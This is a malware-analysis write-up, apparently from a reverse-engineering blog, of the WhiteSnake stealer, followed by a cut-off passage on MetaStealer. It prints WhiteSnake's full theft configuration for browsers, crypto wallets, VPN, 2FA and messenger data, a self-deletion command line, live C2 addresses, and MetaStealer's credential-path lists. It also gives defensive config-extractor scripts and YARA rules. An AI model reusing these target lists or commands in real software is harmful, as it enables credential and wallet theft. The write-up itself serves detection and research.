The stealer then proceeds to check if the file report.lock exists within the created Tor directory, if it does not, the stealer proceeds with loading the APIs such as GetModuleHandleA, GetForegroundWindow, GetWindowTextLengthA, GetWindowTextA, GetWindowThreadProcessId, and CryptUnprotectData. Then it proceeds with parsing the stealer configuration (the data to be exfiltrated). I have beautified the configuration for a simplified read.

<?xml version="1.0" encoding="utf-16"?>
<Commands xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <commands>
    <command name="2">
      <args>
        <string>Mozilla\Firefox</string>
      </args>
    </command>
    <command name="2">
      <args>
        <string>Thunderbird</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>Google\Chrome</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>Yandex\YandexBrowser</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>Vivaldi</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>CocCoc\Browser</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>CentBrowser</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>BraveSoftware\Brave-Browser</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>Chromium</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>Microsoft\Edge</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>Opera</string>
        <string>%AppData%\Opera Software\Opera Stable</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>OperaGX</string>
        <string>%AppData%\Opera Software\Opera GX Stable</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\dolphin_anty</string>
        <string>db.json</string>
        <string>Apps\DolphinAnty</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%USERPROFILE%\OpenVPN\config</string>
        <string>*\*.ovpn</string>
        <string>Grabber\OpenVPN</string>
      </args>
    </command>
    <command name="4">
      <args>
        <string>SOFTWARE\Martin Prikryl\WinSCP 2\Sessions\*</string>
        <string>HostName;UserName;Password</string>
        <string>Apps\WinSCP\sessions.txt</string>
      </args>
    </command>
    <command name="4">
      <args>
        <string>SOFTWARE\FTPWare\CoreFTP\Sites\*</string>
        <string>Host;Port;User;PW</string>
        <string>Apps\CoreFTP\sessions.txt</string>
      </args>
    </command>
    <command name="4">
      <args>
        <string>SOFTWARE\Windscribe\Windscribe2</string>
        <string>userId;authHash</string>
        <string>Apps\Windscribe\token.txt</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Authy Desktop\Local Storage\leveldb</string>
        <string>*</string>
        <string>Grabber\Authy</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\WinAuth</string>
        <string>*.xml</string>
        <string>Grabber\WinAuth</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\obs-studio\basic\profiles</string>
        <string>*\service.json</string>
        <string>Apps\OBS</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\FileZilla</string>
        <string>sitemanager.xml;recentservers.xml</string>
        <string>Apps\FileZilla</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%LocalAppData%\AzireVPN</string>
        <string>token.txt</string>
        <string>Apps\AzireVPN</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%USERPROFILE%\snowflake-ssh</string>
        <string>session-store.json</string>
        <string>Apps\Snowflake</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%ProgramFiles(x86)%\Steam</string>
        <string>ssfn*;config\*.vdf</string>
        <string>Grabber\Steam</string>
      </args>
    </command>
    <command name="1">
      <args>
        <string>Discord</string>
        <string>%Appdata%\Discord</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%Appdata%\Discord\Local Storage\leveldb</string>
        <string>*.l??</string>
        <string>Browsers\Discord\leveldb</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\The Bat!</string>
        <string>ACCOUNT.???</string>
        <string>Grabber\The Bat!</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%SystemDrive%</string>
        <string />
        <string>Apps\Outlook\credentials.txt</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%SystemDrive%</string>
        <string>Account.rec0</string>
        <string>Apps\Foxmail</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Signal</string>
        <string>config.json;sql\db.sqlite</string>
        <string>Grabber\Signal</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\.purple</string>
        <string>accounts.xml</string>
        <string>Apps\Pidgin</string>
      </args>
    </command>
    <command name="5">
      <args>
        <string>Telegram;tdata</string>
        <string>%AppData%\Telegram Desktop\tdata</string>
        <string>*s;????????????????\*s</string>
        <string>Grabber\Telegram</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\ledger live</string>
        <string>app.json</string>
        <string>Grabber\Wallets\Ledger</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\atomic\Local Storage\leveldb</string>
        <string>*.l??</string>
        <string>Grabber\Wallets\Atomic</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\WalletWasabi\Client\Wallets</string>
        <string>*.json</string>
        <string>Grabber\Wallets\Wasabi</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Binance</string>
        <string>*.json</string>
        <string>Grabber\Wallets\Binance</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Guarda\Local Storage\leveldb</string>
        <string>*.l??</string>
        <string>Grabber\Wallets\Guarda</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%LocalAppData%\Coinomi\Coinomi</string>
        <string>*.wallet</string>
        <string>Grabber\Wallets\Coinomi</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Bitcoin\wallets</string>
        <string>*\*wallet*</string>
        <string>Grabber\Wallets\Bitcoin</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Electrum\wallets</string>
        <string>*</string>
        <string>Grabber\Wallets\Electrum</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Electrum-LTC\wallets</string>
        <string>*</string>
        <string>Grabber\Wallets\Electrum-LTC</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Zcash</string>
        <string>*wallet*dat</string>
        <string>Grabber\Wallets\Zcash</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Exodus</string>
        <string>exodus.conf.json;exodus.wallet\*.seco</string>
        <string>Grabber\Wallets\Exodus</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb</string>
        <string>.l??</string>
        <string>Grabber\Wallets\JaxxLiberty</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%AppData%\Jaxx\Local Storage\leveldb</string>
        <string>.l??</string>
        <string>Grabber\Wallets\JaxxClassic</string>
      </args>
    </command>
    <command name="3">
      <args>
        <string>Metamask</string>
        <string>nkbihfbeogaeaoehlefnkodbefgpgknn</string>
      </args>
    </command>
    <command name="3">
      <args>
        <string>Ronin</string>
        <string>fnjhmkhhmkbjkkabndcnnogagogbneec</string>
      </args>
    </command>
    <command name="3">
      <args>
        <string>BinanceChain</string>
        <string>fhbohimaelbohpjbbldcngcnapndodjp</string>
      </args>
    </command>
    <command name="3">
      <args>
        <string>TronLink</string>
        <string>ibnejdfjmmkpcnlpebklmnkoeoihofec</string>
      </args>
    </command>
    <command name="3">
      <args>
        <string>Phantom</string>
        <string>bfnaelmomeimhlpmgjnjophhpkkoljpa</string>
      </args>
    </command>
    <command name="0">
      <args>
        <string>%UserProfile%\Desktop</string>
        <string>*.txt;*.doc*;*.xls*;*.kbd*;*.pdf</string>
        <string>Grabber\Desktop Files</string>
      </args>
    </command>
  </commands>
</Commands>

The code below is responsible for parsing and retrieving information from directories and files related to browsing history, cookies, and extensions.

browser_config_parse.jpg

WhiteSnake creates the WSR file that is encrypted using the RC4-encryption algorithm with a key generated on the fly. The WSR filename is comprised of the first random 5 characters, followed by _username`, @computername and _report, the example is shown below. The WSR is the file containing the exfiltrated data.

  • hhcvT_administrator@WINDOWS-CBVFCB_report
wsrcreate.jpg

It is worth noting that if the attacker has RC4 + RSA encryption option set (by default), then the RC4 key is encrypted with RSA encryption, and the RSA public key is stored in the configuration.

rsa_enc.jpg

Below is the function responsible for basic information parsing.

basicinfoparsing.jpg

The stealer appends certain fields to the basic information of the infected machine before sending it out to Telegram Bot configured by an attacker.

logappend.jpg

The WSR log file is uploaded to one of the available servers listed in the configuration file. If one of servers is not available and the web request fails, the stealer tries the next IP on the list.

logtransfer.jpg

The attacker has two options to get the logs from Telegram.

  • Download the WSR locally from one of the servers hosting the log file.
  • Open directly via localhost (for example, http://127.0.0.1:18772/handleOpenWSR?r=http://IP_Address:8080/get/CBxn1/hhcvT_administrator@WINDOWS-CBVFCB_report.wsr). By accessing that URL the attacker will get the logs parsed directly into the WhiteSnake report viewer panel show below on the right. We will come back to the report viewer panel later in this blog.
panelv.JPG

The snippet of Outlook parsing is shown below. The stealer retrieves Outlook information from the registry key based on the default profile.

Outlook-parsing.jpg

WhiteSnake stealer uses WMI queries for basic system information enumeration as mentioned above. Here are some other queries that are ran by the stealer:

  • SELECT * FROM Win32_Processor – the query retrieves information about the processors (CPUs) installed on the computer.
  • SELECT * FROM Win32_VideoController – the query retrieves information about the video controllers (graphics cards) installed on the computer
  • SELECT * FROM Win32_LogicalDisk WHERE DriveType = 3 – the query retrieves information about logical disks (such as hard drives or SSDs) on the computer where the DriveType equals 3. DriveType 3 corresponds to local disk drives.
  • SELECT * FROM Win32_ComputerSystem – the query retrieves information about the computer system where the TotalPhysicalMemory

The stealer retrieves the list of installed applications by querying the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

If the Loader capability is enabled, the stealer will attempt to retrieve it from the payload hosting URL and place it under %LOCALAPPDATA%. Then UseShellExecute is used to run the executable.

loader.jpg

If the USB Spread option is enabled, the stealer performs the following:

  • Iterate over all available drives on the system using the DriveInfo.GetDrives() method.
  • For each DriveInfo object in the collection of drives, it performs the following actions such as checking if the drive type is “Removable” (driveInfo.DriveType == DriveType.Removable), indicating a removable storage device is a USB drive, checking if the drive is ready (driveInfo.IsReady), meaning it is accessible and can be written to, checking if the available free space on the drive is greater than 5242880 bytes
  • If the above conditions are met, it constructs a file path by combining the root directory of the drive (driveInfo.RootDirectory.FullName) with a file name represented by USB_Spread.vN6.
  • It then checks if the stealer file exists
  • If the file doesn’t exist, it copies a file to the USB drive.
usb_spread.JPG

With the Local User Spread option, the stealer queries for user accounts with Win32_UserAccount. Then it copies the stealer executable to the Startup folder of user accounts on the local computer, excluding the current user’s Startup folder.

LocalSpread.jpg

Upon successful execution of the stealer, it deletes itself using the command

  • cmd.exe” /c chcp 65001 && ping 127.0.0.1 && DEL_ /F /S /Q /A “path to the stealer”
self-deletion.jpg

Below is the functionality of the keylogger.

keylogger.jpg

The keylogger function relies on the APIs:

  • SetWindowsHookExA
  • GetKeyState
  • CallNextHookEx
  • GetKeyboardState
  • MapVirtualKeyA
  • GetForegroundWindow
  • GetWindowThreadProcessId
  • GetKeyboardLayout
  • ToUnicodeEx

Another unique feature of WhiteSnake is the remote terminal that allows an attacker to establish the remote session with the infected machine and execute certain commands such as:

  • screenshot – taking the screenshot of the infected machine
  • uninstall – uninstall the beacon from the infected machine
  • refresh – refresh the log credentials
  • webcam – take the webcam photo
  • stream – start streaming webcam or desktop
  • keylogger – control the keylogger
  • cd – change the current directory
  • ls – list files in current directory
  • get-file – download file from remote PC
  • dpapi – decrypts the DPAPI (base64-encoded) blob
  • process-list – get running processes
  • transfer – upload the file to one of the IPs listed in the configuration
  • loader – retrieves the file from the URL
  • loadexec – retrieves and executes the file on the infected machine with cmd.exe in a hidden window
  • compress – creates a ZIP archive from a directory
  • decompress – extracts ZIP content to the current directory
remoteterminal.jpg

The code responsible for the remote terminal functionality is shown below.

remoteterminal2.jpg

For the webcam, the stealer retrieves devices of class “Image” or “Camera” using the Win32_PnPEntity class in the Windows Management Instrumentation (WMI) database. The stealer attempts to capture an image from the webcam and returns the image data as a byte array in PNG format. It uses various API functions such as capCreateCaptureWindowA, SendMessageA, and the clipboard to perform the capture.

webcam_capture.jpg

Configuration Extractor

I wrote the configuration extractor for samples that are obfuscated with XOR and RC4 that relies on dnlib.

XOR version

#Author: RussianPanda
#Tested on samples:
# f7b02278a2310a2657dcca702188af461ce8450dc0c5bced802773ca8eab6f50
# c219beaecc91df9265574eea6e9d866c224549b7f41cdda7e85015f4ae99b7c7

import argparse
import clr

parser = argparse.ArgumentParser(description='Extract information from a target assembly file.')
parser.add_argument('-f', '--file', required=True, help='Path to the stealer file')
parser.add_argument('-d', '--dnlib', required=True, help='Path to the dnlib.dll')
args = parser.parse_args()

clr.AddReference(args.dnlib)

import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes

module = dnlib.DotNet.ModuleDefMD.Load(args.file)


def xor_strings(data, key):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(data, key * (len(data) // len(key) + 1)))


def has_target_opcode_sequence(method):
    target_opcode_sequence = [OpCodes.Ldstr, OpCodes.Ldstr, OpCodes.Call, OpCodes.Stelem_Ref]

    if method.HasBody:
        opcode_sequence = [instr.OpCode for instr in method.Body.Instructions]
        for i in range(len(opcode_sequence) - len(target_opcode_sequence) + 1):
            if opcode_sequence[i:i + len(target_opcode_sequence)] == target_opcode_sequence:
                return True
    return False


def process_methods():
    decrypted_strings = []
    check_list = []

    for type in module.GetTypes():
        for method in type.Methods:
            if has_target_opcode_sequence(method) and method.HasBody:
                instructions = list(method.Body.Instructions)
                for i in range(len(instructions) - 1):
                    instr1 = instructions[i]
                    instr2 = instructions[i + 1]

                    if instr1.OpCode == OpCodes.Ldstr and instr2.OpCode == OpCodes.Ldstr:
                        data = instr1.Operand
                        key = instr2.Operand
                        if isinstance(data, str) and isinstance(key, str):
                            decrypted_string = xor_strings(data, key)
                            decrypted_strings.append(decrypted_string)

                    # Only consider ldstr instructions
                    if instr1.OpCode == OpCodes.Ldstr and (instr1.Operand == '1' or instr1.Operand == '0'):
                        check_list.append(instr1.Operand)

    return decrypted_strings, check_list


def print_stealer_configuration(decrypted_strings, xml_declaration_index):
    config_cases = {
        ".": {
            "offsets": [(5, "Telgeram Bot Token"), (7, "Mutex"), (8, "Build Tag"), (4, "Telgeram Chat ID"),
                        (1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (6, "RSAKeyValue")]
        },
        "RSAKeyValue": {
            "offsets": [(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (3, "Build Version"),
                        (4, "Telgeram Chat ID"), (5, "Telgeram Bot Token"), (6, "Mutex"), (7, "Build Tag")]
        },
        "else": {
            "offsets": [(1, "Stealer Tor Folder Name"), (2, "Stealer Folder Name"), (3, "Build Version"),
                        (4, "Telgeram Chat ID"), (5, "Telgeram Bot Token"), (6, "RSAKeyValue"), (7, "Mutex"),
                        (8, "Build Tag")]
        }
    }

    condition = "." if "." in decrypted_strings[xml_declaration_index - 1] else \
        "RSAKeyValue" if "RSAKeyValue" not in decrypted_strings[xml_declaration_index - 6] else "else"
    offsets = config_cases[condition]["offsets"]
    config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
    for o, n in offsets:
        print(f"{n}: {config_data.get(o, 'Not Found')}")


def print_features_status(check_list):
    features = [
        (0, "AntiVM"),
        (1, "Resident"),
        (2, "Auto Keylogger"),
        (3, "USB Spread"),
        (4, "Local Users Spread"),
    ]
    for o, n in features:
        status = 'Enabled' if check_list[o] == '1' else 'Disabled'
        print(f"{n}: {status}")


def print_C2(decrypted_strings):
    for data in decrypted_strings:
        if "http://" in data and "127.0.0.1" not in data and "www.w3.org" not in data:
            print("C2: " + data)


def main():
    decrypted_strings, check_list = process_methods()

    xml_declaration = '<?xml version="1.0" encoding="utf-16"?>'
    xml_declaration_index = next((i for i, s in enumerate(decrypted_strings) if xml_declaration in s), None)

    if xml_declaration_index is not None:
        print("Stealer Configuration: " + decrypted_strings[xml_declaration_index])
        print_stealer_configuration(decrypted_strings, xml_declaration_index)

    print_features_status(check_list)
    print_C2(decrypted_strings)


if __name__ == "__main__":
    main()

Output example:

output.jpg

RC4 version

#Author: RussianPanda

import argparse
import clr
import logging

parser = argparse.ArgumentParser(description='Extract information from a target assembly file.')
parser.add_argument('-f', '--file', required=True, help='Path to the stealer file')
parser.add_argument('-d', '--dnlib', required=True, help='Path to the dnlib.dll')
args = parser.parse_args()

clr.AddReference(args.dnlib)

import dnlib
from dnlib.DotNet import *
from dnlib.DotNet.Emit import OpCodes

module = dnlib.DotNet.ModuleDefMD.Load(args.file)

logging.basicConfig(filename='app.log', filemode='w', format='%(name)s - %(levelname)s - %(message)s')

def Ichduzekkvzjdxyftabcqu(A_0, A_1):
    try:
        string_builder = []
        num = 0
        array = list(range(256))

        for i in range(256):
            array[i] = i

        for j in range(256):
            num = ((ord(A_1[j % len(A_1)]) + array[j] + num) % 256)
            num2 = array[j]
            array[j] = array[num]
            array[num] = num2

        for k in range(len(A_0)):
            num3 = k % 256
            num = (array[num3] + num) % 256
            num2 = array[num3]
            array[num3] = array[num]
            array[num] = num2
            decrypted_char = chr(ord(A_0[k]) ^ array[(array[num3] + array[num]) % 256])
            string_builder.append(decrypted_char)

        return ''.join(string_builder)
    except Exception as e:
        logging.error("Error occurred in Ichduzekkvzjdxyftabcqu: " + str(e))
        return None

def has_target_opcode_sequence(method):
    target_opcode_sequence = [OpCodes.Ldstr, OpCodes.Ldstr, OpCodes.Call, OpCodes.Stelem_Ref]

    if method.HasBody:
        # Get the sequence of OpCodes in the method
        opcode_sequence = [instr.OpCode for instr in method.Body.Instructions]

        # Check if the target sequence is present in the opcode sequence
        for i in range(len(opcode_sequence) - len(target_opcode_sequence) + 1):
            if opcode_sequence[i:i+len(target_opcode_sequence)] == target_opcode_sequence:
                return True

    return False

ldstr_counter = 0
decrypted_strings = []

for type in module.GetTypes():
    for method in type.Methods:
        if method.HasBody and has_target_opcode_sequence(method):
            instructions = list(method.Body.Instructions)
            for i, instr in enumerate(instructions):
                # Only consider ldstr instructions
                if instr.OpCode == OpCodes.Ldstr:
                    ldstr_counter += 1
                    if ldstr_counter > 21:
                        if instr.Operand == '1' or instr.Operand == '0':
                            decrypted_strings.append(instr.Operand)
                        elif i + 1 < len(instructions):
                            encrypted_data = instr.Operand
                            rc4_key = instructions[i + 1].Operand
                            if isinstance(encrypted_data, str) and isinstance(rc4_key, str):
                                decrypted_data = Ichduzekkvzjdxyftabcqu(encrypted_data, rc4_key)
                                if decrypted_data:
                                    decrypted_strings.append(decrypted_data)

xml_declaration = '<?xml version="1.0" encoding="utf-16"?>'
xml_declaration_index = next((i for i, s in enumerate(decrypted_strings) if xml_declaration in s), None)

if xml_declaration_index is not None:
    print("Stealer Configuration: " + decrypted_strings[xml_declaration_index])
    offsets = [(11, "RSAKeyValue"), (12, "Mutex"), (13, "Build Tag")]
    config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
    for o, n in offsets:
        print(f"{n}: {config_data.get(o, 'Not Found')}")

    offsets = [
        (10, "Telgeram Bot Token"),
        (9, "Telgeram Chat ID"),
        (1, "Stealer Tor Folder Name"),
        (2, "Stealer Folder Name"),
        (3, "Stealer Version"),
    ]

    features = [
        (4, "Local Users Spread"),
        (5, "USB Spread"),
        (6, "Auto Keylogger"),
        (7, "Execution Method"),
        (8, "AntiVM"),
    ]

    config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in offsets if xml_declaration_index >= o}
    for o, n in offsets:
        print(f"{n}: {config_data.get(o, 'Not Found')}")

    config_data = {o: decrypted_strings[xml_declaration_index - o] for o, _ in features if xml_declaration_index >= o}
    for o, n in features:
        status = 'Enabled' if config_data.get(o, '0') == '1' else 'Not Enabled'
        print(f"{n}: {status}")

for data in decrypted_strings:
    if "http://" in data and "127.0.0.1" not in data and "www.w3.org" not in data:
        print("C2: " + data)

I am not providing the hashes for the newest version to keep the anonymity and to avoid stealer developer hunting me down. You can access both of the configuration extractors on my GitHub page

Summary

Personally, I think, WhiteSnake Stealer is undoubtedly one of the leading stealers available, offering numerous features and ensuring secure log delivery and communication. Probably one of my favorite stealers that I have ever analyzed so far. As always, your feedback is very welcome 🙂

Indicators Of Compromise

NameIndicators
C2172.104.152.202:8080
C2116.202.101.219:8080
C2212.87.204.197:8080
C2212.87.204.196:8080
C281.24.11.40:8080
C2195.201.135.141:9202
C218.171.15.157:80
C245.132.96.113:80
C25.181.12.94:80
C2185.18.206.168:8080
C2212.154.86.44:83
C2185.217.98.121:80
C2172.245.180.159:2233
C2216.250.190.139:80
C2205.185.123.66:8080
C266.42.56.128:80
C2104.168.22.46:8090
C2124.223.67.212:5555
C2154.31.165.232:80
C285.8.181.218:80
C2139.224.8.231:8080
C2106.55.134.246:8080
C2144.22.39.186:8080
C28.130.31.155:80
C2116.196.97.232:8080
C2123.129.217.85:8080
C2106.15.66.6:8080
C2106.3.136.82:80
SHA-256f7b02278a2310a2657dcca702188af461ce8450dc0c5bced802773ca8eab6f50
SHA-256c219beaecc91df9265574eea6e9d866c224549b7f41cdda7e85015f4ae99b7c7

Yara Rules

rule WhiteSnakeStealer {

	meta:
		author = "RussianPanda"
		description = "Detects WhiteSnake Stealer XOR version" 
		date = "7/5/2023"

	strings:
		$s1 = {FE 0C 00 00 FE 09 00 00 FE 0C 02 00 6F ?? 00 00 0A FE 0C 03 00 61 D1 FE 0E 04 00 FE}
		$s2 = {61 6e 61 6c 2e 6a 70 67}
	condition:
		all of ($s*) and filesize < 600KB

}
rule WhiteSnakeStealer {

	meta:
		author = "RussianPanda"
		description = "detects WhiteSnake Stealer RC4 version" 
		date = "7/5/2023"

	strings:
		$s1 = {73 68 69 74 2e 6a 70 67}
		$s2 = {FE 0C ?? 00 20 00 01 00 00 3F ?? FF FF FF 20 00 00 00 00 FE 0E ?? 00 38 ?? 00 00 00 FE 0C}
		$s3 = "qemu" wide
		$s4 = "vbox" wide
	condition:
		all of ($s*) and filesize < 300KB

}

Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

MetaStealer – Redline’s Doppelgänger

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Case Study

MetaStealer made its debut on Russian hacking forums on March 7, 2022. The stealer is said to incorporate the functionality, code, and panel of Redline Stealer. The developer claims to have improved the stub of the payload. It is priced at $150 per month, mirroring the price of Redline Stealer.

meta-ads.jpg

Note: Some samples of MetaStealer have been found in sandbox platforms like Triage, Joe Sandbox, Any.run and classified as Redline or “another” MetaStealer” that appears to be written in C++. You can find an example here. Additionally, SentinelOne has reported a separate MetaStealer targeting MacOS devices that is written in Golang. It’s important to note that these are not the same malware variants. To clarify, the MetaStealer I am analyzing is written in C#.

The developer of MetaStealer actively advertises crypter[.]guru crypting services for their stealer users, as can be seen in the screenshot below.

crypt_guru.jpg

I will provide a brief overview of some of the stealer’s functionalities, but we won’t delve into extensive detail as it shares many similarities with Redline Stealer. For a more comprehensive analysis, you can refer to my Redline writeup here

Technical Analysis

The generated MetaStealer build is automatically obfuscated with Confuser Core 1.6.0. Notably, the binary description contains the text “METRO 2022 Dev,” suggesting that the malware developer may be a fan of the Metro franchise 🙂

file_sig.jpg

I proceeded with cleaning up the sample a bit to make it more readable and reversible. We go to the entry point of the binary and notice some interesting code within class “MainFrm” and “ReadLine” methods. Within “ReadLine” method, we see a while loop that continues as long as a boolean variable flag is false. Inside this loop, it calls StringDecrypt.Read(Arguments.IP, Arguments.Key), which retrieves two arguments IP and key. The retrieved data is split into an array of strings using the “|” character as a delimiter.

readline_method.jpg

The Read method takes two string parameters, b64 and stringKey. The method first checks if the b64 parameter is null, empty, or consists only of white-space characters (if (string.IsNullOrWhiteSpace(b64)). If b64 is not null or white-space, the method performs a series of operations:

  • It first decodes b64 from Base64 format. The result of this decoding is a string (StringDecrypt.FromBase64(b64)).
  • It then applies an XOR operation to the decoded string using stringKey as the key.
  • The result of the XOR operation is then decoded again from Base64 format.
read_method.jpg

Looking at the Arguments table, we can see some interesting base64-encoded strings:

arguments_table.jpg

This is StringDecrypt class, where XOR decryption takes place:

xor_fn.jpg

For each character in input, it performs an XOR operation with the corresponding character in stringKey as shown in the Arguments table. The index for stringKey is determined by i % stringKey.Length, ensuring that if stringKey is shorter than input, it will repeat from the very beginning. The exact similar string encryption is used for Redline as well.

Upon decrypting the string in CyberChef, we get the C2 IP and the port number.

cyberchef.jpg

Next, we will look at method_03. The code is responsible for setting up network communication.

  • It attempts to establish a network channel to a remote endpoint specified by the address argument. This involves creating a ChannelFactory with a specific binding and endpoint address.
  • It then sets up credentials and bypasses certificate validation.
  • Next, it adds an “Authorization” message header with a hardcoded value (token/key) that is likely for authentication purposes (for example, {xmlns=”ns1”>ead3f92ffddf3eebb6b6d82958e811a0})
  • It then returns true if the connection setup is successful, false if any exception occurs
method_3_comms.jpg

method_0 contains MSValue1, which is a call to a method on a WCF (Windows Communication Foundation) service channel and the connector object is a proxy facilitating the remote method invocation.

MSValue1.jpg

Next, we will reach method_2:

method2.jpg

It calls this.connector.OnGetSettings(), which seems to be a method call to obtain some data from C2. The result is assigned to the msobject variable. OnGetSettings method is responsible for retrieving settings data and packaging it into an instance of the MSObject18 class.

ongetsettings.png

Each MSValue (MSValue10, MSValue11, MSValue12 etc.) stores the configuration retrieved from C2:

  • MSValue10 – stores the grabber configuration:
@"%userprofile%\\Desktop|*.txt,*.doc*,*key*,*wallet*,*seed*|0"
@"%userprofile%\\Documents|*.txt,*.doc*,*key*,*wallet*,*seed*|0"
  • MSValue11 – stores the paths to the “User Data” folder for various browsers and applications such as Steam and Battle.net to steal the sensitive information from:
@"%USERPROFILE%\\AppData\\Local\\Battle.net"
@"%USERPROFILE%\\AppData\\Local\\Chromium\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Google\\Chrome\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Google(x86)\\Chrome\\User Data"
@"%USERPROFILE%\\AppData\\Roaming\\Opera Software\\"
@"%USERPROFILE%\\AppData\\Local\\MapleStudio\\ChromePlus\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Iridium\\User Data"
@"%USERPROFILE%\\AppData\\Local\\7Star\\7Star\\User Data"
@"%USERPROFILE%\\AppData\\Local\\CentBrowser\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Chedot\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Vivaldi\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Kometa\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Elements Browser\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Epic Privacy Browser\\User Data"
@"%USERPROFILE%\\AppData\\Local\\uCozMedia\\Uran\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer"
@"%USERPROFILE%\\AppData\\Local\\CatalinaGroup\\Citrio\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Coowon\\Coowon\\User Data"
@"%USERPROFILE%\\AppData\\Local\\liebao\\User Data"
@"%USERPROFILE%\\AppData\\Local\\QIP Surf\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Orbitum\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Comodo\\Dragon\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Amigo\\User\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Torch\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Yandex\\YandexBrowser\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Comodo\\User Data"
@"%USERPROFILE%\\AppData\\Local\\360Browser\\Browser\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Maxthon3\\User Data"
@"%USERPROFILE%\\AppData\\Local\\K-Melon\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Sputnik\\Sputnik\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Nichrome\\User Data"
@"%USERPROFILE%\\AppData\\Local\\CocCoc\\Browser\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Uran\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Chromodo\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Mail.Ru\\Atom\\User Data"
@"%USERPROFILE%\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data"
@"%USERPROFILE%\\AppData\\Local\\Microsoft\\Edge\\User Data"
@"%USERPROFILE%\\AppData\\Local\\NVIDIA Corporation\\NVIDIA GeForce Experience"
@"%USERPROFILE%\\AppData\\Local\\Steam"
@"%USERPROFILE%\\AppData\\Local\\CryptoTab Browser\\User Data"
  • MSValue12 contains additional browser paths and Thunderbird:
@"%USERPROFILE%\\AppData\\Roaming\\Mozilla\\Firefox"
@"%USERPROFILE%\\AppData\\Roaming\\Waterfox"
@"%USERPROFILE%\\AppData\\Roaming\\K-Meleon"
@"%USERPROFILE%\\AppData\\Roaming\\Thunderbird"
@"%USERPROFILE%\\AppData\\Roaming\\Comodo\\IceDragon"
@"%USERPROFILE%\\AppData\\Roaming\\8pecxstudios\\Cyberfox"
@"%USERPROFILE%\\AppData\\Roaming\\NETGATE Technologies\\BlackHaw"
@"%USERPROFILE%\\AppData\\Roaming\\Moonchild Productions\\Pale Moon"
  • MSValue13 – stores cryptowallet information under %AppData%
  • MSValue14 – stores cryptowallet extensions:
